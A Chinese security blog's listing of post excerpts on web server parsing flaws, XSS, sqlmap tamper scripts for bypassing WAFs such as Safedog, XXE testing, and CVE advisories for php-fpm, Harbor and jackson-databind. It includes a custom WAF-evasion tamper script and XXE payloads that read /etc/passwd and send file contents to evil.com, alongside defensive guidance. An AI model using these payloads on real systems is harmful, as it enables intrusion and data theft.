首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,664 阅读
2
Cloudflare SAAS 接入自选教程
2,227 阅读
3
兽装曲腿制作文档
1,999 阅读
4
Frpc使用XTCP不通过服务器传输
1,864 阅读
5
CloudFront CDN配置教程
1,221 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
60
篇与
的结果
2020-03-31
web容器漏洞
IIS文件解析漏洞1.初始思路:如果网站禁止上传asp文件我们就上传iis可以解析的cer和asa文件 2.iis6.0:会解析此两类文件:/test.asp/test.jpg test.asp;.jpg 3.iis7.5:解析此类情况:test.jpg/.php 条件:php配置文件开启cgi.fix.pathinfo(php.ini) 4.apache:apache重要文件时在/etc/mime.types文件中写入了可以解析哪些文件和mime类型 解析是由于apache特性从右向左解析。当apache添加addhandle application/x-httpd-php.php 就可以解析php文件。修复是用sethandle然后加正则匹配 5.nginx:解析test.jpg/.php文件,低版本的可以%00.PHP进行解析攻击 同样和apache一样是通过mime.types来识别文件 也是当cgi.fix.pathinfo=1时开启文件修理路径修理功能 在www.conf中加入security.limit_extensions= 没有指定特定格式就可以解析php命令执行漏洞1.iis6.0:命令执行漏洞编号CVE-2017-7269。 在开启webdav服务的情况下可远程执行漏洞 原理:iis6.0处理PROPFIND指令对url的长度没有检查和控制,导致memcpy对虚拟路径执行引发栈溢出。目录遍历1.nginx:目录遍历与apache一样同样是配置错误 开启:/etc/nginx/sites-available/default中的location中加入autoindex on任意上传文件漏洞1.tomcat:修改/conf/web.xml中的readonly=false就可以用put方式创建jsp文件进行远程代码执行漏洞防御总结限制上传文件类型 扩展名检测防止%00截断以及特殊字符绕过,对上传的图片文件进行2次渲染压缩 限制上传文件大小:配置web server 允许最大的post大小 将上传目录设置为静态资源目录,防止被解析为脚本 使用代理页面隐藏真是路径
2020年03月31日
49 阅读
0 评论
0 点赞
2020-03-31
存储型XSS与反射型XSS有什么区别?
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。如:人人网又一大波蠕虫,位置在首页+登录就中招+通杀网页和人人桌面反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。例如这个
2020年03月31日
102 阅读
0 评论
0 点赞
2020-03-30
sqlmap之tamper绕过安全狗
参考:sqlmap用户手册详解【实用版】根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。脚本名:apostrophemask.py 作用:用utf8代替引号1Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'Tested against: all脚本名:equaltolike.py 作用:like 代替等号12345Example:* Input: SELECT * FROM users WHERE id=1* Output: SELECT * FROM users WHERE id LIKE 1案例一: http://wooyun.org/bugs/wooyun-2010-087296案例二: http://wooyun.org/bugs/wooyun-2010-074790案例三:http://wooyun.org/bugs/wooyun-2010-072489脚本名:space2dash.py 作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)1Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'Tested against: * MSSQL * SQLite案例一:http://wooyun.org/bugs/wooyun-2010-062878脚本名:greatest.py 作用:绕过过滤’>’ ,用GREATEST替换大于号。1Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0脚本名:space2hash.py 作用:空格替换为#号 随机字符串 以及换行符1234Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement:MySQL Tested against:MySQL 4.0, 5.0脚本名:apostrophenullencode.py 作用:绕过过滤双引号,替换字符和双引号。1Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'Tested against:MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:halfversionedmorekeywords.py 作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论123Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"Requirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22脚本名:space2morehash.py 作用:空格替换为 #号 以及更多随机字符串 换行符12345Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement: * MySQL >= 5.1.13 Testedagainst: * MySQL 5.1.41案例一:91ri一篇文章脚本名:appendnullbyte.py 作用:在有效负荷结束位置加载零字节字符编码1Example: ('1 AND 1=1') '1 AND 1=1%00'Requirement:Microsoft Access脚本名:ifnull2ifisnull.py 作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’123Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'Requirement:MySQLSQLite (possibly)SAP MaxDB (possibly)Tested against:MySQL 5.0 and 5.5脚本名:space2mssqlblank.py(mssql) 作用:空格替换为其它空符号Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0FusersRequirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005ASCII table: 案例一: wooyun.org/bugs/wooyun-2010-062878脚本名:base64encode.py 作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all案例一: http://wooyun.org/bugs/wooyun-2010-060071案例二: http://wooyun.org/bugs/wooyun-2010-021062案例三: http://wooyun.org/bugs/wooyun-2010-043229脚本名:space2mssqlhash.py 作用:替换空格1Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL脚本名:modsecurityversioned.py 作用:过滤空格,包含完整的查询版本注释1Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'Requirement: * MySQLTested against:MySQL 5.0脚本名:space2mysqlblank.py 作用:空格替换其它空白符号(mysql)12345Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0usersRequirement:MySQLTested against:MySQL 5.1案例一:wooyun.org/bugs/wooyun-2010-076735脚本名:between.py 作用:用between替换大于号(>)1Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'Tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-068815脚本名:space2mysqldash.py 作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)注:之前有个mssql的 这个是mysql的1Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'Requirement:MySQLMSSQL脚本名:multiplespaces.py 作用:围绕SQL关键字添加多个空格1Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'Tested against: all案例一: wooyun.org/bugs/wooyun-2010-072489脚本名:space2plus.py 作用:用+替换空格1Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all脚本名:bluecoat.py 作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like1Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'Tested against:MySQL 5.1, SGOS脚本名:nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters1Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all脚本名:space2randomblank.py 作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集1Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'Tested against: all脚本名:sp_password.py 作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾1Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL脚本名:chardoubleencode.py 作用: 双url编码(不处理以编码的)12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545脚本名:unionalltounion.py 作用:替换UNION ALL SELECT UNION SELECTExample: ('-1 UNION ALL SELECT') '-1 UNION SELECT'Requirement: all脚本名:charencode.py 作用:url编码12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:randomcase.py 作用:随机大小写 Example:Input: INSERTOutput: InsERtTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:unmagicquotes.py 作用:宽字符绕过 GPC addslashes12345Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20脚本名:randomcomments.py 作用:用/**/分割sql关键字123Example:‘INSERT’ becomes ‘IN//S//ERT’脚本名:charunicodeencode.py 作用:字符串 unicode 编码12345Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′Requirement:ASPASP.NETTested against:Microsoft SQL Server 2000Microsoft SQL Server 2005MySQL 5.1.56PostgreSQL 9.0.3案例一: wooyun.org/bugs/wooyun-2010-074261脚本名:securesphere.py 作用:追加特制的字符串1Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"Tested against: all脚本名:versionedmorekeywords.py 作用:注释绕过12345Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#Requirement:MySQL >= 5.1.13脚本名:space2comment.py 作用:Replaces space character (‘ ‘) with comments ‘/**/’12345Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/usersTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-046496脚本名:halfversionedmorekeywords.py 作用:关键字前加注释12345Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWaRequirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22转自:http://blog.csdn.net/qq_29277155/article/details/52266478x00 前言 sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。0x01 tamper脚本 当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。0x02 分析tamper脚本由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析#!/usr/bin/env python #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法""" #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号import re #导入python中的re 字符替换包,方便下面的字符替换from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试 SQL 注入的过程中,使用的配置文件事先全部被加载到了 conf 和 kbfrom lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.NORMAL #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。def tamper(payload, **kwargs): #定义tamper脚本,payload, **kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2} """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 Replaces each keyword character with lower case value #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以 Tested against: #用于多种数据库。并且作用于弱防护效果的防火墙 * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: # 进行判断payload for match in re.finditer(r"[A-Za-z_]+", retVal): # 对 retVal 【payload】进行小写查找 word = match.group() #将查找到的字母赋值给word if word.upper() in kb.keywords: #如果在攻击载荷中有大写字母 retVal = retVal.replace(word, word.lower()) #将大写字母转换成小写字母。 return retVal #返回小写字母到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母0x03 编写一个tamper脚本 在这里,我们尝试写一个绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。#!/usr/bin/env python #此处代码可以直接从其他tamper复制粘贴过来"""Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明 See the file 'doc/COPYING' for copying permissionv0.0.1 #添加这个脚本的版本说明2016.08.21 #添加我们写这个脚本的日期"""from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} """ To bypass safedog Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则 >>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式 'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users' """ retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: retVal = "" quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响 for i in xrange(len(payload)): # 在攻击载荷中逐个进行判断操作。 if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换 if payload[i].isspace(): firstspace = True retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/) continue #继续进行判断操作 elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换 quote = not quote elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换 doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote retVal += "/*|%20--%20|*/" #则进行编码转换 continue 继续执行 retVal += payload[i] #得到重新组合的payload return retVal# 该脚本可以在github中找到:https://github.com/ym2011/penetration/tree/master/scripts0x04 参考资料http://sqlmap.org/https://github.com/sqlmapproject/sqlmap/https://github.com/sqlmapproject/sqlmap/wikihttps://github.com/sqlmapproject/sqlmap/wiki/FAQhttps://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries转自:http://www.freebuf.com/articles/1000.htmlWAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它,许多公司甚至已经不在意web应用的漏洞。遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测。许多时候,你需要联合使用多个tamper脚本。所有tamper脚本请参考:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/在这里,我们以针对Mysql的space2hash.py和space2morehash.py为例。这两个脚本将会自动转换所有空格为随机注释,而此脚本的拓展版本(space2morehash.py)也会帮助到你来“打乱”方法函数以绕过WAF的检测。Example: * Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227好了,接下来我们讲重点了。你可以使用命令–tamper 来调用脚本,如下:./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
2020年03月30日
105 阅读
0 评论
0 点赞
2020-03-30
绕过WTS-WAF拦截注入
暂时没有实例站,先做语言补充尝试进行注入and 1 = 1 测试 被拦截尝试用注释污染参数进行绕过,结果还是不行/!fasdsj-gaf/and/!asjgk+fg/1=1也是被拦截使用id=1+and+1=1测试成功,没被拦截使用order by测试,没被拦截
2020年03月30日
50 阅读
0 评论
0 点赞
2020-03-26
简单的XXE漏洞挖掘方法与防护
1.简单挖掘方法提交POST请求XML文件提交一个POST请求,请求头加上Content-type:application/xml同时添加测试代码<?xml version="1.0"encoding="utf-8"?> <test>cat</test>通过OOB(Out-of-band)方法远程访问文件测试1. 自建一个网站开启80端口2. 在测试网站提交payload,如下<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>3.查看网站返回内容4.查看自建服务器访问日志,是否有DTD文件等请求2.确认XXE漏洞出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:请求:响应:观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求修改后的请求和响应:如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>3.寻找XXE1.检测xml是否被解析 <?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod>2.检测是否支持外部实体解析<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod>4.xxe 注入利用步骤在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。(1)测试是否允许外部实体引用<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root>(2)任意文件读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root>(3)通过PHP://过滤器读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root>(4)xxe注入测试代码xxe.php是一个存在XXE注入漏洞的简单页面<html> <body> <h1>XXE Example</h1> <form method="post" enctype="multipart/form-data"> <label for="file">XML File:</label> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="Upload"> </form> <h1>Result</h1> <?php if( isset($_FILES["file"])){ $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "<h3>No file was selected for upload.</h3>"; } ?> </body> </html>xxe自动化注入检查工具https://github.com/enjoiz/XXEinjectorXXE防御1.使用开发语言提供的禁用外部实体的方法PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))2.过滤用户提交的XML数据 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.例如,让我们来试着定义一个新的自定义实体“harmless”。<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:This result is completely harmless下面的这个就肯定不是无害的输入:<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>3.检查所使用的底层xml解析库,默认禁止外部实体的解析4.使用第三方应用代码及时升级补丁5.同时增强对系统的监控,防止此问题被人利用对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数<?php libxml_disable_entity_loader(true); ?>以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>>
2020年03月26日
202 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞(CVE-2019-11043)
漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空,进而导致特定的攻击请求会修改php-fpm进程中的相关配置,在特殊配置情况下可导致远程代码执行漏洞,相关漏洞配置类似如下:``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置,防止.php之后可传入任意字符(可能会影响正常业务):``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
2020年03月25日
70 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Harbor 多个高危漏洞(CVE-2019-19029、CVE-2019-19026等)
漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求,可利用SQL注入获取大量敏感数据,或者将低权限账户提升为管理员权限账户,从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023(高危)普通用户可以通过进行API调用来修改特定用户的电子邮件地址,从而获得管理员帐户特权。CVE-2019-19029(高危)Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026(中危)经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载,从而允许从数据库中提取敏感信息。CVE-2019-3990(中危)/api/users/search 接口用户枚举漏洞。CVE-2019-19025(低危)Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接:https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories
2020年03月25日
187 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840)
漏洞描述jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 